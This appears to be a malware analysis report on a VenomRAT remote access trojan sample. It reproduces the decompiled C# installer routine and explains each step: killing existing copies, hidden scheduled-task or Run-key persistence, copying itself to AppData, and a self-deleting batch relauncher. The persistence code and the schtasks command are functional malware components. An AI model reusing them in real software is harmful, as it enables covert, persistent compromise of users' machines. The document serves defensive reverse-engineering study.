← Reports

Remote Access Trojan

VenomRAT - ClientAny.exe

Author
Moise Medici
Updated
15 Nov 2025 · Completed
Difficulty
Easy
Platform
Windows
Family
VenomRAT
Languages
C#
MITRE
T1059.003 (Command and Scripting Interpreter: Windows Command Shell) T1053.005 (Scheduled Task/Job: Scheduled Task) T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder) T1027.011 (Obfuscated Files or Information: Fileless Storage) T1027.013 (Obfuscated Files or Information: Encrypted/Encoded File) T1070.004 (Indicator Removal: File Deletion) T1140 (Deobfuscate/Decode Files or Information) T1480.002 (Execution Guardrails: Mutual Exclusion) T1564.003 (Hide Artifacts: Hidden Window) T1620 (Reflective Code Loading) T1010 (Application Window Discovery) T1033 (System Owner/User Discovery) T1057 (Process Discovery) T1082 (System Information Discovery) T1120 (Peripheral Device Discovery) T1518 (Software Discovery) T1518.001 (Software Discovery: Security Software Discovery) T1056.001 (Input Capture: Keylogging) T1074.001 (Data Staged: Local Data Staging) T1095 (Non-Application Layer Protocol) T1102.001 (Web Service: Dead Drop Resolver) T1105 (Ingress Tool Transfer) T1573.002 (Encrypted Channel: Asymmetric Cryptography) T1041 (Exfiltration Over C2 Channel)

Client.Install

Now that the settings are clearer, the installation procedure can be viewed to then go into the details of what the sample is doing.
The full code of this file is:

Client.Install.NormalStartup
using System;
using System.Diagnostics;
using System.IO;
using System.Threading;
using Client.Connection;
using Client.Helper;
using Microsoft.Win32;
namespace Client.Install
{
internal class NormalStartup
{
public static void Install()
{
try
{
FileInfo fileInfo = new FileInfo(Path.Combine(Environment.ExpandEnvironmentVariables(Settings.Install_Folder), Settings.Install_File));
string fileName = Process.GetCurrentProcess().MainModule.FileName;
if (fileName != fileInfo.FullName)
{
foreach (Process process in Process.GetProcesses())
{
try
{
if (process.MainModule.FileName == fileInfo.FullName)
{
process.Kill();
}
}
catch
{
}
}
if (Methods.IsAdmin())
{
Process.Start(new ProcessStartInfo
{
FileName = "cmd",
Arguments = string.Concat(new string[]
{
"/c schtasks /create /f /sc onlogon /rl highest /tn \"",
Path.GetFileNameWithoutExtension(fileInfo.Name),
"\" /tr '\"",
fileInfo.FullName,
"\"' & exit"
}),
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true
});
}
else
{
using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\", RegistryKeyPermissionCheck.ReadWriteSubTree))
{
registryKey.SetValue(Path.GetFileNameWithoutExtension(fileInfo.Name), "\"" + fileInfo.FullName + "\"");
}
}
if (File.Exists(fileInfo.FullName))
{
File.Delete(fileInfo.FullName);
Thread.Sleep(1000);
}
Stream stream = new FileStream(fileInfo.FullName, FileMode.CreateNew);
byte[] array = File.ReadAllBytes(fileName);
stream.Write(array, 0, array.Length);
Methods.ClientOnExit();
string text = Path.GetTempFileName() + ".bat";
using (StreamWriter streamWriter = new StreamWriter(text))
{
streamWriter.WriteLine("@echo off");
streamWriter.WriteLine("timeout 3 > NUL");
streamWriter.WriteLine("START \"\" \"" + fileInfo.FullName + "\"");
streamWriter.WriteLine("CD " + Path.GetTempPath());
streamWriter.WriteLine("DEL \"" + Path.GetFileName(text) + "\" /f /q");
}
Process.Start(new ProcessStartInfo
{
FileName = text,
CreateNoWindow = true,
ErrorDialog = false,
UseShellExecute = false,
WindowStyle = ProcessWindowStyle.Hidden
});
Environment.Exit(0);
}
}
catch (Exception ex)
{
ClientSocket.Error("Install Failed : " + ex.Message);
}
}
}
}

fileInfo is set to be the concatenation of %AppData% and dadada.exe.

Client.Install.NormalStartup
FileInfo fileInfo = new FileInfo(Path.Combine(Environment.ExpandEnvironmentVariables(Settings.Install_Folder), Settings.Install_File));

To clarify before looking at the next few lines:

  • fileName is a string representing the path to the executable of the running process. For example, if the executable downloaded from this report is executed without renaming, its file name will be: C:\Users\REM\Desktop\8f5bb49ef2c1178c113d477f70856b3d59a107a6f5a551199fb5ea0be911c496.exe.

  • fileInfo is a FileInfo object with fullName value of C:\Users\REM\AppData\Roaming\dadada.exe.

This code goes through all running processes and kills any process whose executable file matches %AppData%\dadada.exe. This is probably used in case a new installation of modules has to be performed remotely.

Client.Install.NormalStartup
string fileName = Process.GetCurrentProcess().MainModule.FileName;
if (fileName != fileInfo.FullName)
{
foreach (Process process in Process.GetProcesses())
{
try
{
if (process.MainModule.FileName == fileInfo.FullName)
{
process.Kill();
}
}
catch
{
}
}

After that, it attempts the two persistence mechanisms already observed. If it is admin it will execute the following code to create a new task in the Task Scheduler to start on login.

cmd /c schtasks /create /f /sc onlogon /rl highest /tn dadada /tr "%AppData%\\dadada.exe" & exit

The execution of the above command is done in a hidden window to avoid alerting the user:

Client.Install.NormalStartup
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true

Otherwise, it will write in the registry HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ the value: dadada.exe. Note that Registry.CurrentUser is HKCU. This can be confirmed by clicking on CurrentUser in DnSpy; this leads to the following line: RegistryKey.GetBaseKey(RegistryKey.HKEY_CURRENT_USER);

Client.Install.NormalStartup
using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\", RegistryKeyPermissionCheck.ReadWriteSubTree))
{
registryKey.SetValue(Path.GetFileNameWithoutExtension(fileInfo.Name), "\"" + fileInfo.FullName + "\"");
}

After that it checks if %AppData%\dadada.exe already exists and, if it does, deletes it.

Client.Install.NormalStartup
if (File.Exists(fileInfo.FullName))
{
File.Delete(fileInfo.FullName);
Thread.Sleep(1000);
}

This is done because the next couple of lines copy the sample into %AppData%/dadada.exe.

Client.Install.NormalStartup
Stream stream = new FileStream(fileInfo.FullName, FileMode.CreateNew);
byte[] array = File.ReadAllBytes(fileName);
stream.Write(array, 0, array.Length);

Lastly, the .bat file seen during dynamic analysis, C:\Users\REM\AppData\Local\Temp\tmp8A48.tmp.bat, is created. The content can now be seen below. Note that GetTempFileName might return a different file name on different executions.

Client.Install.NormalStartup
string text = Path.GetTempFileName() + ".bat";
using (StreamWriter streamWriter = new StreamWriter(text))
{
streamWriter.WriteLine("@echo off");
streamWriter.WriteLine("timeout 3 > NUL");
streamWriter.WriteLine("START \"\" \"" + fileInfo.FullName + "\"");
streamWriter.WriteLine("CD " + Path.GetTempPath());
streamWriter.WriteLine("DEL \"" + Path.GetFileName(text) + "\" /f /q");
}

A new process, executed again in hidden mode, runs the .bat file as specified in the FileName field. This will wait for 3 seconds, execute the dadada.exe file, and delete the original sample.